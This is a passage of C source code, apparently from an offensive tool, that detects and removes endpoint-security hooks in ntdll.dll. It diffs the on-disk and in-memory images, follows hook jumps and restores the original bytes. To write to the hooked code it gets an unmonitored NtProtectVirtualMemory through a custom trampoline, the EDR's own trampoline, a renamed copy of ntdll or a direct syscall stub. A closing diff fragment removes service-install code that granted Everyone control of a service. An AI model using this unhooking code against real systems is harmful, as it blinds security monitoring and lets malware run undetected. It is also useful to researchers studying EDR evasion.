while (diffAddr != NULL && sizeToScan != 0) {
|
||||
//debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
|
||||
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
searchStartMem = (BYTE*)diffAddr + diffSize;
|
||||
diffsList[diffsListI].mem_ptr = diffAddr;
|
||||
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
|
||||
diffsList[diffsListI].size = diffSize;
|
||||
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
diffsListI++;
|
||||
if (diffsListI >= diffsListLen) {
|
||||
diffsListLen *= 2;
|
||||
PVOID diffsListTmp = realloc(diffsList, diffsListLen * sizeof(PATCH_DIFF));
|
||||
if (NULL == diffsListTmp) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
diffsList = diffsListTmp;
|
||||
}
|
||||
}
|
||||
|
||||
PVOID diffsListTmp = realloc(diffsList, (diffsListI + 1) * sizeof(PATCH_DIFF));
|
||||
if (NULL == diffsListTmp) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
diffsList = diffsListTmp;
|
||||
diffsList[diffsListI].mem_ptr = NULL;
|
||||
diffsList[diffsListI].disk_ptr = NULL;
|
||||
diffsList[diffsListI].size = 0;
|
||||
return diffsList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
|
||||
* Only read-only sections are compared, since writable sections will obviously contain differences.
|
||||
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
|
||||
*/
|
||||
PATCH_DIFF* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
|
||||
PATCH_DIFF* list = NULL;
|
||||
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
|
||||
nonWritableSection != NULL;
|
||||
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
|
||||
debugf("Diffs in section %s:\n", nonWritableSection->Name);
|
||||
DWORD sectionRVA = nonWritableSection->VirtualAddress;
|
||||
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
|
||||
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
|
||||
LPVOID searchStartMem = sectionAddrMem;
|
||||
LPVOID searchStartDisk = sectionAddrDisk;
|
||||
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
|
||||
|
||||
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Looks for a memory needle in a memory haystack
|
||||
*/
|
||||
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
|
||||
{
|
||||
if (!haystack)
|
||||
return NULL;
|
||||
if (!haystack_len)
|
||||
return NULL;
|
||||
if (!needle)
|
||||
return NULL;
|
||||
if (!needle_len)
|
||||
return NULL;
|
||||
PBYTE h = haystack;
|
||||
while (haystack_len >= needle_len)
|
||||
{
|
||||
if (!memcmp(h, needle, needle_len))
|
||||
return h;
|
||||
++h;
|
||||
--haystack_len;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
|
||||
*/
|
||||
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
|
||||
{
|
||||
SIZE_T haystack_len;
|
||||
PVOID haystack;
|
||||
PBYTE patternInExecutableMemory;
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
|
||||
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
|
||||
{
|
||||
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (mbi.State != MEM_COMMIT) {
|
||||
continue;
|
||||
}
|
||||
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
|
||||
continue;
|
||||
}
|
||||
haystack = mbi.BaseAddress;
|
||||
haystack_len = mbi.RegionSize;
|
||||
while (haystack_len)
|
||||
{
|
||||
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
|
||||
if (!patternInExecutableMemory) {
|
||||
break;
|
||||
}
|
||||
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
|
||||
return patternInExecutableMemory;
|
||||
}
|
||||
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
|
||||
haystack = patternInExecutableMemory + 1;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) {
|
||||
if (unhook_method == UNHOOK_NONE) {
|
||||
return;
|
||||
}
|
||||
|
||||
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
|
||||
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
|
||||
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
|
||||
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
PATCH_DIFF* patches = hook->list_patches;
|
||||
//merge every small patches into 1 patch to perform a single write
|
||||
PATCH_DIFF patch = patches[0];
|
||||
int nb_patches = 0;
|
||||
while (patches[nb_patches].size) {
|
||||
nb_patches++;
|
||||
}
|
||||
PATCH_DIFF lastPatch = patches[nb_patches - 1];
|
||||
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
|
||||
|
||||
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
|
||||
|
||||
// Method used to get a NtProtectVirtualMemory function that is safe to use
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
|
||||
// in this case, it is not really "safe" to use
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
|
||||
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
|
||||
|
||||
GetTempPathW(MAX_PATH, ntdlolFilePath);
|
||||
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
|
||||
|
||||
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
|
||||
secondNtdll = LoadLibraryW(ntdlolFilePath);
|
||||
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
|
||||
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
|
||||
break;
|
||||
case UNHOOK_WITH_DIRECT_SYSCALL:
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)CreateSyscallStubWithVirtuallAlloc("NtProtectVirtualMemory");
|
||||
if (unmonitoredNtProtectVirtualMemory == NULL) {
|
||||
printf_or_not("Something wrong happened with CreateSyscallStubWithVirtuallAlloc, aborting...\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
printf_or_not("Unhook method does not exist, exiting...\n");
|
||||
exit(EXIT_FAILURE);
|
||||
break;
|
||||
}
|
||||
|
||||
//actually remove the hook
|
||||
DWORD oldProtect;
|
||||
PVOID patch_mem_ptr = patch.mem_ptr;
|
||||
SIZE_T patch_size = patch.size;
|
||||
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < patch.size; i++) {
|
||||
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
|
||||
}
|
||||
|
||||
status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
oldProtect,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
|
||||
FreeLibrary(secondNtdll);
|
||||
}
|
||||
DeleteFileW(ntdlolFilePath);
|
||||
break;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
|
||||
PE* ntdllPE_mem = NULL;
|
||||
PE* ntdllPE_disk = NULL;
|
||||
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
|
||||
|
||||
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
|
||||
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
|
||||
|
||||
size_t patchSize = 0;
|
||||
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
|
||||
|
||||
if (patchSize == 0) {
|
||||
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
|
||||
}
|
||||
|
||||
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
PVOID trampoline = NULL;
|
||||
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
|
||||
if (NULL == trampoline) {
|
||||
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
|
||||
exit(1);
|
||||
}
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
|
||||
#if _WIN64
|
||||
#define JUMP_SIZE 14
|
||||
#else
|
||||
#define JUMP_SIZE 5
|
||||
#endif
|
||||
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (NULL == trampoline) {
|
||||
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DWORD oldProtect;
|
||||
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
|
||||
#if _WIN64
|
||||
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
|
||||
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
|
||||
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
|
||||
#else
|
||||
* (trampoline + patchSize) = 0xE9; //far JMP
|
||||
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
|
||||
#endif
|
||||
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID hookResolver(PBYTE hookAddr) {
|
||||
PBYTE destination = hookAddr;
|
||||
BOOL hasFollowedJmp = FALSE;
|
||||
while (TRUE) {
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
VirtualQuery(destination, &mbi, sizeof(mbi));
|
||||
if (mbi.State != MEM_COMMIT) {
|
||||
return NULL;
|
||||
}
|
||||
switch (destination[0]) {
|
||||
case 0xE9:
|
||||
{
|
||||
int diff = *((int*)(&destination[1]));
|
||||
destination = &destination[5] + diff;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#if _WIN64
|
||||
case 0xFF:
|
||||
{
|
||||
BYTE selector = destination[1];
|
||||
if (selector != 0x25) {
|
||||
return NULL;
|
||||
}
|
||||
int diff = *((int*)(&destination[2]));
|
||||
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
|
||||
destination = (PBYTE)*offsetPtr;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
if (!hasFollowedJmp) {
|
||||
return NULL;
|
||||
}
|
||||
else {
|
||||
return destination;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
|
||||
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
|
||||
}
|
||||
|
||||
_Ret_notnull_ HOOK* searchHooks(const char* csvFileName) {
|
||||
FILE* csvFile = NULL;
|
||||
DWORD hookListSize = 8;
|
||||
DWORD hookList_i = 0;
|
||||
HOOK* hooksList = calloc(hookListSize, sizeof(HOOK));
|
||||
if (NULL == hooksList) {
|
||||
debugf("calloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
if (csvFileName) {
|
||||
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
|
||||
perror("CSV file could not be opened:");
|
||||
exit(1);
|
||||
}
|
||||
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
|
||||
}
|
||||
|
||||
BOOL hooksFoundInLastModule = TRUE;
|
||||
PBYTE disk_dllContent = NULL;
|
||||
PE* diskDLL = NULL;
|
||||
PE* memDLL = NULL;
|
||||
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
|
||||
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
|
||||
if (dll_name.Buffer == NULL) {
|
||||
continue;
|
||||
}
|
||||
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
|
||||
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n");
|
||||
if (disk_dllContent) {
|
||||
free(disk_dllContent);
|
||||
disk_dllContent = NULL;
|
||||
}
|
||||
if (memDLL) {
|
||||
PE_destroy(memDLL);
|
||||
memDLL = NULL;
|
||||
}
|
||||
if (diskDLL) {
|
||||
PE_destroy(diskDLL);
|
||||
diskDLL = NULL;
|
||||
}
|
||||
}
|
||||
else {
|
||||
hooksFoundInLastModule = FALSE;
|
||||
}
|
||||
printf_or_not("[+] [Hooks]\t%ws (%ws): 0x%p\n", dll_name.Buffer, moduleName, currentModuleEntry->DllBase);
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer
|
||||
);
|
||||
}
|
||||
|
||||
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
|
||||
memDLL = PE_create(mem_dllImageBase, TRUE);
|
||||
if (!memDLL || NULL == memDLL->exportDirectory) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
|
||||
continue;
|
||||
}
|
||||
disk_dllContent = ReadFullFileW(currentModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
debugf("\tError : ReadFullFileW: 0x%x\n\n", GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
diskDLL = PE_create(disk_dllContent, FALSE);
|
||||
if (NULL == diskDLL) {
|
||||
debugf("\tError : PE_create\n");
|
||||
continue;
|
||||
}
|
||||
|
||||
PE_rebasePE(diskDLL, memDLL->baseAddress);
|
||||
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
|
||||
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
|
||||
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
|
||||
|
||||
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
|
||||
continue;
|
||||
|
||||
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
|
||||
//check if hook was already detected in this function (due to export aliasing)
|
||||
BOOL alreadyChecked = FALSE;
|
||||
for (size_t i = 0; i < hookList_i; i++) {
|
||||
if (hooksList[i].mem_function == mem_functionStart) {
|
||||
alreadyChecked = TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
if (alreadyChecked)
|
||||
continue;
|
||||
|
||||
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
|
||||
printf_or_not("[+] [Hooks]\t\tHook detected in function %s (0x%08lx)", functionName, functionRVA);
|
||||
hooksFoundInLastModule = TRUE;
|
||||
PVOID jmpTarget = hookResolver(mem_functionStart);
|
||||
if (NULL == jmpTarget) {
|
||||
printf_or_not("...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
|
||||
}
|
||||
else {
|
||||
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
|
||||
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
|
||||
printf_or_not(" ");
|
||||
}
|
||||
// TODO: Fix hooks resolver to identify dll
|
||||
// printf_or_not("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
|
||||
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer,
|
||||
functionName,
|
||||
jmpTarget,
|
||||
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
|
||||
);
|
||||
}
|
||||
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize *= 2;
|
||||
PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK));
|
||||
if (hooksListTmp == NULL) {
|
||||
debugf("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
hooksList = hooksListTmp;
|
||||
}
|
||||
printf_or_not("\n");
|
||||
|
||||
hooksList[hookList_i].mem_function = mem_functionStart;
|
||||
hooksList[hookList_i].disk_function = disk_functionStart;
|
||||
hooksList[hookList_i].functionName = functionName;
|
||||
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
|
||||
hookList_i++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n");
|
||||
}
|
||||
if (csvFileName) {
|
||||
fclose(csvFile);
|
||||
}
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize++;
|
||||
PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK));
|
||||
if (NULL == hooksListTmp) {
|
||||
printf_or_not("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
hooksList = hooksListTmp;
|
||||
}
|
||||
hooksList[hookList_i].mem_function = NULL;
|
||||
hooksList[hookList_i].disk_function = NULL;
|
||||
hooksList[hookList_i].functionName = NULL;
|
||||
|
||||
return hooksList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
|
||||
* "Rebase" the disk version to the same base address of the memory-mapped one for coherence
|
||||
*/
|
||||
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
|
||||
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
|
||||
PE* ntdllPE_mem_l = NULL;
|
||||
PE* ntdllPE_disk_l = NULL;
|
||||
|
||||
if (ntdllMemPe_g == NULL) {
|
||||
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
|
||||
}
|
||||
else {
|
||||
ntdllPE_mem_l = ntdllMemPe_g;
|
||||
}
|
||||
if (ntdllDiskPe_g == NULL) {
|
||||
PVOID disk_dllContent = ReadFullFileW(ntdllModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
exit(1);
|
||||
}
|
||||
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
|
||||
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
|
||||
}
|
||||
else {
|
||||
ntdllPE_disk_l = ntdllDiskPe_g;
|
||||
}
|
||||
|
||||
if (ntdllPE_mem) {
|
||||
*ntdllPE_mem = ntdllPE_mem_l;
|
||||
}
|
||||
if (ntdllPE_disk) {
|
||||
*ntdllPE_disk = ntdllPE_disk_l;
|
||||
}
|
||||
}
|
||||
|
||||
void test_trampoline_search()
|
||||
{
|
||||
for (HOOK* h = searchHooks(NULL); h->disk_function; ++h)
|
||||
{
|
||||
PVOID trampoline = NULL;
|
||||
printf_or_not("[+] [Hooks]\tLooking for %s trampoline...\n", h->functionName);
|
||||
for (PATCH_DIFF* d = h->list_patches; d->disk_ptr; ++d)
|
||||
{
|
||||
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
|
||||
if (trampoline)
|
||||
{
|
||||
printf_or_not("[+] [Hooks]\t\tTrampoline found at %p !\n", trampoline);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!trampoline)
|
||||
printf_or_not("[+] [Hooks]\t\tTRAMPOLINE NOT FOUND !\n");
|
||||
}
|
||||
}
|
||||
+70
-198
@@ -6,234 +6,57 @@
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <aclapi.h>
|
||||
#include <Shlwapi.h>
|
||||
#include <Tchar.h>
|
||||
#include <time.h>
|
||||
|
||||
#include "DriverOps.h"
|
||||
|
||||
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
|
||||
BOOL status = FALSE;
|
||||
DWORD dwSizeNeeded;
|
||||
PSECURITY_DESCRIPTOR oldSd, newSd;
|
||||
SECURITY_DESCRIPTOR dummySdForXP;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||
|
||||
EXPLICIT_ACCESS ForEveryoneACL = {
|
||||
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
|
||||
SET_ACCESS,
|
||||
NO_INHERITANCE,
|
||||
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
|
||||
};
|
||||
|
||||
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
|
||||
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
|
||||
if (oldSd) {
|
||||
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
|
||||
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
|
||||
|
||||
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
|
||||
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
|
||||
LocalFree(newSd);
|
||||
}
|
||||
|
||||
FreeSid(ForEveryoneACL.Trustee.ptstrName);
|
||||
}
|
||||
}
|
||||
LocalFree(oldSd);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
|
||||
SC_HANDLE hSC = NULL, hS = NULL;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, SERVICE_START);
|
||||
if (hS) {
|
||||
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
|
||||
}
|
||||
|
||||
else {
|
||||
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
|
||||
|
||||
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
|
||||
|
||||
if (hS) {
|
||||
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
|
||||
if (ServiceAddEveryoneAccess(hS)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("CreateService"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenService"));
|
||||
}
|
||||
}
|
||||
|
||||
if (hS) {
|
||||
if (startIt) {
|
||||
if (StartService(hS, 0, NULL)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("StartService"));
|
||||
return GetLastError();
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||
return GetLastError();
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
|
||||
BOOL status = FALSE;
|
||||
SC_HANDLE hSC, hS;
|
||||
SERVICE_STATUS serviceStatus;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, dwDesiredAccess);
|
||||
if (hS) {
|
||||
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
|
||||
|
||||
// Used as a stop point for recursive calls to ServiceUninstall.
|
||||
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
|
||||
